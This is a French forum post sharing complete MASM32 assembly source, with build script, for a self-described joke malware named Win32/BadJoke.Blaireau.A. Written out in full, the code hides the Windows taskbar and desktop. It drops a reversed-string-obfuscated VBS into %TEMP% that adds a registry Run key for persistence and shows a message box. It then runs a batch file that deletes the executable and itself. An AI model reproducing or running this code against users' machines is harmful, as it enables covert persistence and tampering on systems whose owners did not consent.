Hello, ceci et un re-code de cette source visual basic 6:
http://codes-sources.commentcamarche.net/forum/affich-7000797-comment-generer-du-script-depuis-visualbasic
Basiquement c'est juste de la manipulation de chaine, ça reverse un code VBS le drop et l'éxécute dans %TEMP%
ça cache aussi la taskbar et l'executable s'auto-suprime après exécution.
Quand au code du VBS c'est éxactement le même que celui de Mémere (le modérateur de VBFrance qui a pondu le code)
C'est a dire: créé une entré dans le registre pour qu'il démarre avec Windows et afficher une MessageBox
Je sais pas trop pourquoi a l'époque le code la m'avait tappé dans l'oeil et j'me suis dit pourquoi pas faire une rewrite en assembleur.
Ce code est plus une mauvaise blague qu'autre chose hein ;) mais ça permet de voir quelques opérations basique.
; Name: Win32/BadJoke.Blaireau.A
; Code: Xylitol - xylitol?temari.fr
; Size: 3Kb - 4b4726c7a9126b151d177f7c789f90bd
; Test: Windows XP SP3
; Date: 16/06/2014
; Desc: Hide the taskbar drop a VBS and auto-destruct
; This source is considered dangerous although this will not harm your computer.
; This was done for fun and entertainment purposes only.
;MAKE.BAT:
;@echo off
;set path=\masm32\bin
;set lib=\masm32\lib
;set name=Blaireau
;set rsrc=rsrc
;ml.exe /c /coff "%name%".asm
;link.exe /SUBSYSTEM:WINDOWS /opt:nowin98 /LIBPATH:"%lib%" "%name%".obj
;del *.OBJ
;pause
;@echo on
;cls
; #########################################################################
.386
.model flat, stdcall
option casemap :none ; case sensitive
; #########################################################################
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\macros\macros.asm
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
; #########################################################################
.data?
szlen dd ?
szReversed db 512 dup(?)
tmpFilePath db 512 dup(?)
payload db 512 dup(?)
.data
shell db "Shell_TrayWnd",0
explorer db "Progman",0
Filename db "Blaireau.vbs",0
Filename2 db "Blaireau.bat",0
payload1 db " tpircsw",022h,",",022h,"kcirreD\nuR\noisreVtnerruC\swodniW\tfosorciM\erawtfoS\ENIHCAM_LACOL_YEKH",022h," etirWgeR.tideger",13,10
db ")",022h,"llehS.tpircSW",022h,"(tcejbOetaerC = tideger teS",13,10
db ")1(redloFlaicepSteG.osf = metsysrid teS",13,10
db "txeN emuseR rorrE nO",13,10
db ")",022h,"tcejbOmetsySeliF.gnitpircS",022h,"(tcejbOetaerC = osf teS",13,10
db "metsysrid ,osf miD",0
payload2 db 022h,"ékiN T",022h," xobgsM",13,10
db 022h,0
melt db ":repeat",13,10
db "if not exist ",022h,"blaireau.exe",022h," goto exit",13,10
db "attrib -R -S -H ",022h,"blaireau.exe",022h,13,10
db "erase ",022h,"blaireau.exe",13,10
db "goto repeat",13,10
db ":exit",13,10
db "attrib -R -S -H ",022h,"Blaireau.bat",022h,13,10
db "erase ",022h,"Blaireau.bat",022h,0
.code
start:
invoke GetTempPath, 255,addr tmpFilePath
invoke lstrcat,addr tmpFilePath,addr Filename
invoke lstrlen, addr tmpFilePath
mov ecx,eax
mov esi, offset tmpFilePath
call lstrrev
invoke lstrcpy,addr payload,addr payload2
invoke lstrcat,addr payload,addr szReversed
invoke lstrcat,addr payload,addr payload1
DlgProc proc
hWin :DWORD,
uMsg :DWORD,
wParam :DWORD,
lParam :DWORD
LOCAL hFile :DWORD,
NumBytes:DWORD
invoke FindWindow,addr shell,NULL ; Get handle first then hide it.
.if eax != 0
invoke ShowWindow,eax,SW_HIDE ; use SW_SHOW to show it again
.endif
invoke FindWindow,addr explorer,NULL
.if eax != 0
invoke ShowWindow,eax,SW_HIDE
.endif
invoke lstrlen, addr payload
mov ecx,eax
mov esi, offset payload
call lstrrev
invoke lstrlen,addr szReversed
mov szlen,eax
invoke CreateFile,addr tmpFilePath,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile,eax
invoke WriteFile, hFile,addr szReversed, szlen, addr NumBytes, NULL
invoke CloseHandle,hFile
mov szlen,0
invoke lstrlen,addr melt
mov szlen,eax
invoke CreateFile,addr Filename2,GENERIC_WRITE,FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL
mov hFile,eax
invoke WriteFile, hFile,addr melt, szlen, addr NumBytes, NULL
invoke CloseHandle,hFile
mov szlen,0
invoke ShellExecute,hWin,chr$("open"),addr tmpFilePath,NULL,NULL,SW_SHOWNORMAL
invoke ShellExecute,hWin,chr$("open"),addr Filename2,NULL,NULL,SW_HIDE
push 0
call ExitProcess
DlgProc endp
lstrrev proc
lea edi, offset szReversed
xor ebx, ebx
Reversor:
mov al, byte ptr[esi+ecx-1]
mov byte ptr[edi+ebx], al
inc ebx
dec ecx
jnz Reversor
mov byte ptr[edi+ebx], 0
Ret
lstrrev endp
end start
Vous n'êtes pas encore membre ?
inscrivez-vous, c'est gratuit et ça prend moins d'une minute !
Les membres obtiennent plus de réponses que les utilisateurs anonymes.
Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.
Le fait d'être membre vous permet d'avoir des options supplémentaires.